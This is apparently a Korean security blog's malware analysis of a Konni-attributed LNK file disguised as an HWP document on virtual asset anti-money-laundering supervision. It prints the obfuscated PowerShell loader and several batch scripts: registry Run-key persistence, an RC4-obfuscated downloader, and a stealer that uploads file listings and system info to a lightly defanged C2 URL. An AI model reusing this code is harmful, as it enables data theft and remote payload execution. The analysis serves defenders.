오늘은 북한 해킹 단체 코니(Konni) 에서 만든 악성코드에서 만든 악성코드인 test.lnk 에 대해 알아보겠습니다. 해당 악성코드 제목을 보면 이제는 성의조차 안 보인다는 것을 알게 될 것입니다.
일단 악성코드를 실행하면 가상자산사업자 자금세탁방지 감독 방향이라는 제목으로 hwp 로 위장을 하고 있습니다.
파일명:test.lnk
사이즈:2 MB
MD5:6467861415139a1ee35f2b036e57c494
SHA-1:86c4315e90a5950e7ae87e3eca991274dd420459
SHA-256:2dcb83b80eef4018e85d56c2e19fd176b2a77042239d730aac055fc74a6aaba9
일단 기존의 고전적인 방식인 LNK 파일인 것처럼 위장돼 있지만 실제로는 해당 악성코드에서 파워셀 코드가 포함된 것이 특징입니다.
악성코드에 포함된 파워셀 코드
StringData
{
namestring: hwp File
relativepath: not present
workingdir: not present
commandlinearguments:
/c for /f "tokens=*" %f in ('dir /s /b %systemroot%\System32\Window
sPowershell\*(.)exe ^| findstr /i rshell.exe') do (if exist "%f" (%f
"function sti(f)f{param($attended); <#right distinction#>$management
= $attended(.)substring(0,$attended.length-4) + ''; <#african plaster
#>return $management;(});function female{param($partly);<#honorable pl
ead(#)> remove-item <#oppression establish#> -path $partly <#hol(y) inc
ident#> -force;};function twin{param($plane,$extent,$fresh,$(p)rofession,$elder);<#si
xteenth parish#> $latin=New-Object System.IO.FileStre(a)m(<#trust painful#>$plane,<#j
oin apron#>[System.IO.FileMode]::Open,<#(s)pirited tarnish#>[System.IO(.)FileAccess]:
:Read);<#pocket cleanse#> $latin.Seek(<#utt()erly tumultuous#>$extent,[Sy(s)tem.IO.Se
ekOrigin]::Begin);<#prudence ascent#> $hissing=$fresh*0x01;<#sea(w)eed cloister#> $cl
uster=New-Object byte[] <#infection must#>$fresh; <#c(h)eck integrity#> $close=New-Ob
ject byte[] <#whole recover#>$hissing; <#cheri(s)h fond#>$latin.Read(<#above fitting#
>$close(,)0,<#strip(e) crime#>$hissing); $latin.Close();$think=0;while(($)think -lt $
fresh){<#wreck prosperity#>$cluster[$think]=$clo(s)e[$think*0x01] -bxor $profession;$
think++;}<#conceal moon(#)> set-content $elder <#wheat scope#> $cluster -Encoding <#a
cquire pleadin(g)#> Byte;};function slowly{param($confusion, $exalt);<#cr(e)st undue#
> expand $confusion <#surgery headdress#> -F:* $exalt;};fu(n)ction locomotive{$assign
= $env:public<#ballast seventy#> + '\' +<#reveal hasti(l)y#> 'docu'+'ment'+'s';<#ches
t bronze#> return $assign;};function vicious{p(a)ram($station); <#vehemence desirous#
>$surround = Split-Path $stat(i)on;<#palate pine#> return $surround;};function make{r
eturn Get-Loc(a)tion;};function overpower{<#compress exercise#>return $env:(T)emp;};f
unction annoy{$heat = make; $ligature = noisy -aerial $heat; <#expl(a)nation subtle#>
if($ligature.length -eq 0) {$heat = ove(r)power; <#playing attention#>$ligature = noi
sy -aerial $heat;} retu(r)n $ligature;};function riding{$river = $env:public<#(s)tudi
ous kind#> + '\' + 'co'+'nti'+'nen'+'t.'(+)'ca'+'b';<#(a)nthozoa silicon#> return $ri
ver;};function enlarg(e)d{$introduce = $env:public<#vassal marginal#>+'\doc'+'ume'+'n
t(s)\'+'sta'+'rt'+'.v'+'bs';<#danger infect#> return $introduce;};funct(i)on noisy{pa
ram($aerial); <#bowsprit pipe#> $unity=''; [System.IO.Directory](:):GetFiles($aerial,
'*.'+'lnk', [System.IO.SearchOption](:):Al(l)Directories) | <#covering speed#>ForEach
-Object { <#ins(p)ect monkey#> $enlarge = [System.IO.FileInfo]::new($_); <(#)cleavage
shears#> if ($enlarge.Length -eq 0x00119A2C) { <#ret(a)il file#> $unity = $enlarge.Fu
llName;}}; return <#vowel reply#> $unity;};$undue = annoy;<#posture manifold#>$testif
y = vicious -station $undue;<#belonging der(i)vative#> $consign = stiff -attended $un
due;twin -plane <#being tigh(t)#> $undue -extent <#sulphuric reign#> 0x000021A2 -fres
h 0x0000B200 -prof(e)ssion <#appendix motive#> 0x2B -elder <#inscription antelope#> $
consign;<#c(l)eavage failing#> & $consign;$assault=riding;<#consequence s(p)in#>twin
-plane <#beak stop#> $undue -extent <#tunnel violet#> 0x0(0)00D3A2 -fresh <#pointed a
ccuse#> 0x00013CD8 -profession <#salmon effect#> 0x72 -elder <#illustration thorax#>
$assault;<#form grasping#>female -p(a)rtly $undue;$tyrant = locomotive;<#tumbler succ
essive#>slo(wl)y -confusion $assault -exalt <#possess carbonate#>$tyrant;<#repeat sig
nify#>f(e0male -partly $assault;$tabernacle = <#front imposing#>enlarged;<#restrict h
ea(d)#>& $tabernacle;") )
iconlocation: .hwp
}
악성코드 분석
1. 악성 코드 동작 방식
LNK 파일 실행 시 동작 과정
PowerShell 실행:
바로가기 파일(.lnk)을 실행하면 숨겨진 PowerShell 명령어가 실행됨
PowerShell 실행 파일의 이름을 변경하여 탐지를 우회하려는 목적
2.XOR 암호화된 페이로드 복호화 및 실행:
twin() 함수가 XOR 복호화를 통해 두 개의 페이로드를 복호화하여 실행
첫 번째 페이로드(payload1_decrypted.bin)->직접 실행됨 (& $consign;)
두 번째 페이로드(payload2_decrypted.bin)->CAB 압축 파일 expand 명령어로 압축 해제 후 실행(bat 파일
3. 파일 삭제 및 은폐:
female() 함수가 원본 LNK 파일을 삭제하여 증거 삭제
PowerShell 명령어에 난독화 기법이 적용됨
4.지속성 유지:
start.vbs 파일을 C:\Users\Public\Documents\에 생성하여 시스템 재부팅 후에도 악성 코드가 자동 실행되도록 함
XOR 복호화된 페이로드 분석
위치:LNK 파일 내부 (오프셋: 0x21A2,크기: 0xB200)
XOR 키:0x2B
내용:PowerShell 스크립트 또는 EXE 파일
역할: 1단계 페이로드 실행 (파일 복호화)
payload2_decrypted.bin
위치:NK 파일 내부 (오프셋: 0xD3A2, 크기: 0x13CD8)
XOR 키:0x72
내용:CAB 압축 파일(여기에 vbs 파일 등 있음)
역할: 2단계 페이로드
이렇게 실행을 하면 VBS 파일들을 생성합니다.
start.vbs
00738383.bat
10128070.bat
25419343.bat
48166359.bat
69092280.bat
73577135.bat
93688888.bat
continent.cab
start.vbs
unzip.exe
을 생성을 합니다. 핵심만 분석을 해보겠습니다.
93688888.bat 포함된 코드
@echo off
pushd "%~dp0"
if exist "10128070(.)bat" (
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v startsvc1 /t REG_SZ /d "%~dp0start(.)vbs" /f > nul
call 10128070(.)bat > nul
call 69092280(.)bat > nul
del /f /q 10128070(.)bat > nul
)
if not exist "10128070(.)bat" (
if not exist "upok(.)txt" (
call 69092280(.)bat > nul
)
)
if not exist "f(.)txt" (goto 1)
if exist "f(.)txt" (goto EXIT)
:1
call 00738383(.)bat > nul
timeout -t 57 /nobreak
if not exist "f(.)txt" (goto 1)
if exist "f(.)txt" (goto EXIT)
:EXIT
del /f /q "f.txt"
코드 분석
1.Windows 시작 프로그램에 등록 (자동 실행)
레지스트리 키 등록:
HKCU\Software\Microsoft\Windows\CurrentVersion\Run 에 startsvc1이라는 항목을 추가
값:start.vbs (공격자가 만든 악성 VBScript)
목적: Windows 부팅 시 자동 실행(지속성 유지)
위치: %~dp0->현재 스크립트가 실행되는 폴더에서 start.vbs 실행됨
2. 악성 배치 파일 실행 (10128070.bat,69092280.bat)
파일 존재 여부 확인 후 실행:
10128070.bat 이 존재하면 해당 배치 파일을 실행하고 삭제
69092280.bat 도 함께 실행됨
목적: 다른 악성 스크립트를 실행하고 10128070.bat 파일을 삭제하여 증거를 없앰
69092280.bat 은 삭제되지 않음->추가적인 악성 코드 역할 예상
3.10128070(.) bat 가 없을 경우 69092280(.)bat 실행
10128070(.)bat가 삭제된 경우에도 69092280(.)bat 실행 유지
upok.txt는 감염 상태를 추적하기 위한 플래그 파일
4. 무한 루프를 이용한 추가 실행 (00738383.bat)
f.txt 파일이 존재하면 EXIT로 이동하여 종료
f.txt 파일이 없으면 00738383.bat 을 실행하고 57초 대기 후 다시 실행
목적:
f.txt가 존재하지 않는 한 00738383(.)bat을 무한 반복 실행
감염이 끝나고 f(.)txt 파일을 생성하는 방식으로 루프 종료
5.EXIT 루틴에서 f(.)txt 삭제
f.txt 파일이 생성되면 루프를 빠져나가면서 해당 파일을 삭제
f.txt 가 특정 조건에서 생성되며 이후 감염 프로세스가 완료되면 제거
10128070.bat 에 포함된 코드
@echo off
pushd %~dp0
set fn=di3726
call 73577135(.)bat "hxxps://teamfuels(.)com/modules/inc/get(.)php?ra=iew&zw=lk0100" "%~dp0%fn%(.)zip" "1" > nul
if not exist %~dp0%fn%(.)zip (
goto END1
)
set dt=1.bat
if not "%dt%"=="" (
call unzip(.)exe -o -P "a0" "%~dp0%fn%(.)zip" > nul
del /f /q %~dp0%fn%(.)zip > nul
if exist %~dp0(%)dt% (
call %~dp0%(d)t% > nul
)
)
:END1
if exist %~dp0%fn%(.)zip (
del /f /q %~dp0%fn%(.)zip > nul
)
코드 분석
1.ZIP 압축 다운로드
악성 파일 다운로드
73577135.bat 를 실행하여 특정 URL에서 ZIP 파일을 내려받음
다운로드한 파일 저장 위치: 현재 디렉터리\di3726.zip
get(.)php는 서버에서 ZIP 파일을 제공하는 PHP 스크립트
2.다운로드 실패 시 종료
ZIP 파일이 다운로드되지 않으면 스크립트 종료
네트워크 연결 차단 시 감염을 방지할 수 있음
3.ZIP 압축 해제 및 실행
비밀번호 a0을 사용하여 ZIP 압축 해제->1.bat 실행
unzip.exe 를 이용해 비밀번호(a0)가 걸린 ZIP 파일을 자동 해제
ZIP 해제 후 원본 ZIP 파일 삭제 (del /f /q %fn%.zip)
압축 해제 후 1.bat 파일이 존재하면 실행
1.bat 은 추가적인 악성 스크립트
73577135(.)bat 에 포함된 코드
@echo off
pushd %~dp0
set "tgurl=%~1"
set "md12=%~3"
if not "%md12%" == "0" (
powershell -command "fun(c)tion LNpWYte(C)Fllb{param ($aFW(A)aRmeXD,$bbZ
(H)zhcIHUaK);$V(r)YvoBLcFbtA = [System.Text(.)Encoding]::UTF8(.)GetBytes($aF
W(A)aRmeXD); $fwcZWF(Z)GJgZG = [System(.)Text(.)Encoding]::UTF8.GetBy(t)es($bbZHzhcIHU
aK);$xT(T)IRZJypAp = New(-)Object byte[](256);$ee(R)ViExvaDz = New-Ob(j)ect byt(e)[](256
);for ($IsO(k)LgnDQRs = 0; $IsO(k)LgnDQRs -lt 256; $Is(O)kLgnDQRs++) {$xT(T)IRZJypAp[$I(s)OkLgnDQRs] = $IsOkLgnDQRs(;)$eeRViExvaDz[$IsO(k)LgnDQRs] = $fwcZW(F)ZGJgZG[$IsOkLgnDQRs %% $fwcZWFZG(J)gZG.Length];}$b(a)iRXfGKeZi = 0;f(o)r ($IsOkLgnDQRs = 0; $IsOkLgnDQ(R)s -lt 256; $IsOkLgnDQRs++) {$baiRXfGKeZi = ($baiRXfGKeZi + $xTTIRZJypAp[$IsOkLgnDQRs] + $eeRViExvaDz[$IsOkLgnDQRs]) %% 256;$YfwsCZz(V)WAq = $xTTIRZJyp(A)p[$IsOkL(g)nDQRs];$xTTIRZJypAp[$IsO(k)LgnDQRs] = $xTTI(R)ZJypAp[$baiRXfGKeZi];$xTTIRZJypAp[$baiRXfGKeZi] = $YfwsCZzVWAq;}$lCeiwDXFvoRi = New-Object byte[] $VrYvoBLcFbtA.Length;$IsOkLgnDQRs = 0;$baiR(X)fGKeZi = 0;for ($vPyKAAJQuZAE = 0; $vPyKAAJQuZAE -lt $VrYvoBLcFbtA.Length; $vPy(K)AAJQuZAE++) {$IsOkLgnDQRs = ($IsOkLgnDQRs + 1) %% 256;$baiRXfGKeZi = ($(b)aiRXfGKeZi + $xTTIRZJypAp[$IsOkLgnDQRs]) %% 256;$YfwsCZzVWAq = $xTTIRZJyp(A)p[$IsOkLgnDQRs];$xTTIRZJypAp[$IsOkLgnDQRs] = $xTTIRZJypAp[$baiRXfGKeZi];$xTTIRZJypAp[$baiRXfGKeZi] = $YfwsCZzVWAq;$LAABFKZCNySI = ($x(T)TIRZJypAp[$IsOkLgnDQRs] + $xTTIRZJypAp[$baiRXfGKeZi]) %% 256;$lCeiwDXFvoRi[$vPyKAAJQuZAE] = $VrYvoBLcFbtA[$vPyKAAJQuZAE] -bxor $(x0TTIRZJypAp[$LAABFKZCNySI];}$JGanuQETCT = [Syste(m).Convert]::ToBas(e)64String($lCeiwDXFvoRi);return $JGanuQETCT;};$HuWrZJZEZvJ = '%tgurl%';($)ZBNdyKFRTej = '%~2';Add-Type -AssemblyName 'System.Web';$wtgbMhAfXMJ=(Get-Date).Ticks(.)ToString();$GcJrjYeEpc = $HuWrZJZEZvJ(.)Split('?')[1];$ekXyIJgfvky = LNpWYteCFllb -aFWAaRmeXD $GcJrjYeEpc -bbZHzhcIHUaK $wtgbMhAfXMJ;$HuWrZJZEZvJ=$HuWrZJZEZvJ.Split('?')[0]+'?'+$wtgbMhAfXMJ(+)'='+[System(.)Web.HttpUtili(t)y]::UrlEncode($ekX(y)IJgfvky);iwr -Uri $HuWrZJZEZvJ -OutFile $ZBNdyKFRTej;" > nul
)else (
powershell -comman(d) "$url1 = '%tgurl%';$outfile = '%~2';iwr -Uri $url1 -OutFile $ou
tfile;" > nul
)
코드 분석
1.배치 스크립트의 주요 변수
명령줄 인자로 URL 및 암호화 모드 값을 받음
%~1->다운로드할 URL
%~3->암호화 여부 (1이면 암호화된 요청,0이면 일반 요청)
2.암호화 여부에 따른 다운로드 방식
암호화 활성화 (md12 값이 1인 경우)
네트워크 트래픽 분석을 우회하기 위해 PowerShell을 이용한 XOR 기반 암호화를 적용한 후 서버에 요청 전송
서버 측에서 암호화된 요청을 해독하여 적절한 페이로드를 반환
암호화 비활성화 (md12 값이 0인 경우)
Invoke-WebRequest (iwr)를 이용해 URL에서 파일을 다운로드
기본적인 HTTP GET 요청을 수행하는 방식
3.XOR 암호화된 HTTP 요청 생성 (탐지 우회)
RC4-like XOR 암호화 함수
$aFWAaRmeXD (URL의 매개변수 부분)과 $bbZHzhcIHUaK (현재 시간 Ticks)를 입력값으로 받아 XOR 암호화 수행
네트워크 트래픽 분석을 우회하는 기능 탐지 방지를 위한 난독화 기법 사용
암호화된 데이터는 Base64로 인코딩하여 전송
원본 URL의 쿼리 스트링을 암호화하여 변조된 형태로 다시 생성
탐지를 우회하기 위해 정상적인 웹 요청처럼 보이도록 조작
암호화된 URL을 이용하여 Invoke-WebRequest 로 서버에서 파일 다운로드
해당 방식 때문에 보안 솔루션에서 정상적인 트래픽으로 인식할 가능성이 높이는 방법을 사용한 것으로 추측
69092280.bat 포함된 코드
@echo off
pushd "%~dp0"
dir C:\Users\%username%\downloads\ /s > %~dp0d1.txt
dir C:\Users\%username%\documents\ /s > %~dp0d2.txt
dir C:\Users\%username%\desktop\ /s > %~dp0d3.txt
systeminfo > %~dp0d4(.)txt
timeout -t 5 /nobreak
call 25419343.bat "hxxp://forum(.)flasholr-app(.)com/wp-admin/src/upload(.)php" "d1.txt" "%COMPUTERNAME%_down.txt" >nul
call 25419343.bat "hxxp://forum(.)flasholr-app(.)com/wp-admin/src/upload(.)php" "d2.txt" "%COMPUTERNAME%_docu(.)txt" >nul
call 25419343.bat "hxxp://forum(.)flasholr-app(.)com/wp-admin/src/upload(.)php" "d3.txt" "%COMPUTERNAME%_desk.txt" >nul
call 25419343.bat "hxxp://forum(.)flasholr-app(.)com/wp-admin/src/upload(.)php" "d4.txt" "%COMPUTERNAME%_sys.txt" >nul
코드 분석
사용자 정보 탈취 및 업로드
사용자 파일 목록 및 시스템 정보를 수집하고 특정 웹 서버에 업로드하는 기능
정보 탈취(Info Stealer) 및 C2 서버로 데이터 전송 기능
1. 사용자 파일 목록 수집
파일 목록 수집 및 저장
dir /s 명령어를 사용하여 특정 폴더 내부의 모든 파일과 폴더 리스트를 생성
결과를 현재 디렉토리에 d1.txt,d2.txt,d3.txt`파일로 저장
대상 폴더:
Downloads: 사용자가 다운로드한 파일 목록 수집
Documents:중요한 문서 파일이 저장될 가능성이 큰 경로
Desktop:바탕화면에 저장된 파일 정보 수집
2. 시스템 정보 수집
Windows 시스템 정보 수집
systeminfo 명령어를 사용하여 운영체제 정보, CPU, 메모리, 네트워크, 설치 날짜 등을 수집
결과를 d4.txt 파일로 저장
목적: 운영체제 버전 및 시스템 사양 정보를 파악하여 취약점 악용 또는 추가 공격 가능성 분석 및 Windows 버전이 특정 조건과 일치하는 경우 추가적인 익스플로잇을 실행도 가능
3. 수집된 정보 외부 서버로 업로드
서버(hxxp://forum(.)flasholr-app(.)com/wp-admin/src/upload(.)php)로 데이터 전송
25419343.bat을 호출하여 수집된 정보를 외부 서버에 업로드
업로드되는 파일 목록:
d1.txt:다운로드 폴더 내 파일 목록 (컴퓨터이름_down.txt 로 전송)
d2.txt:문서 폴더 내 파일 목록 (컴퓨터이름_docu.txt 로 전송)
d3.txt:바탕화면 파일 목록 (컴퓨터이름_desk.txt 로 전송)
d4.txt:시스템 정보 (컴퓨터이름_sys.txt 로 전송)
목적:공격자는 사용자의 파일 목록 및 시스템 정보를 확인하여 타겟팅된 추가 공격을 수행
파일 이름을 기반으로 암호 파일, 금융 정보, 업무 관련 문서를 추출하는 데 사용될 수 있음
결론: 가상화폐(암호화폐) 관련 분들도 노리는 것으로 추측할 수가 있으며 항상 조심하는 것을 권장 을 하면 이렇게 하며 우리 북한? 코니를 찢어보았습니다.
'소프트웨어 팁 > 보안 및 분석' 카테고리의 다른 글
김수키(Kimsuky) 인지 코니(Konni) 인지 모르는 악성코드-.lnk(2024.2.18) (0) | 2025.03.03 |
---|---|
삼성 영문 이력서 사칭 악성코드-Samsungwork.bin(2024.11.26) (0) | 2025.02.28 |
iOS 18.3.1 and iPadOS 18.3.1 이하 버전 CVE-2025-24016 취약점 (0) | 2025.02.27 |
네이버 명예훼손 게시중단(임시조치)로 위장한 피싱 메일 분석(2025.2.5) (0) | 2025.02.26 |
노드 VPN 스마트폰 IP 우회 변경 사용법(3개월 무료,신년 노드 VPN 70% 할인) (2) | 2025.02.25 |
북한 해킹 단체 코니(Konni) 에서 만든 악성코드-가상자산사업자 자금세탁방지 감독 방향(2025.2.18) (0) | 2025.02.24 |
Winrar 7.10은 MOTW 데이터를 제거하여 윈도우 개인 정보 향상 (0) | 2025.02.21 |
모질라 파이어폭스 윈도우 7 2025년 9월까지 파이어폭스 지원 (0) | 2025.02.20 |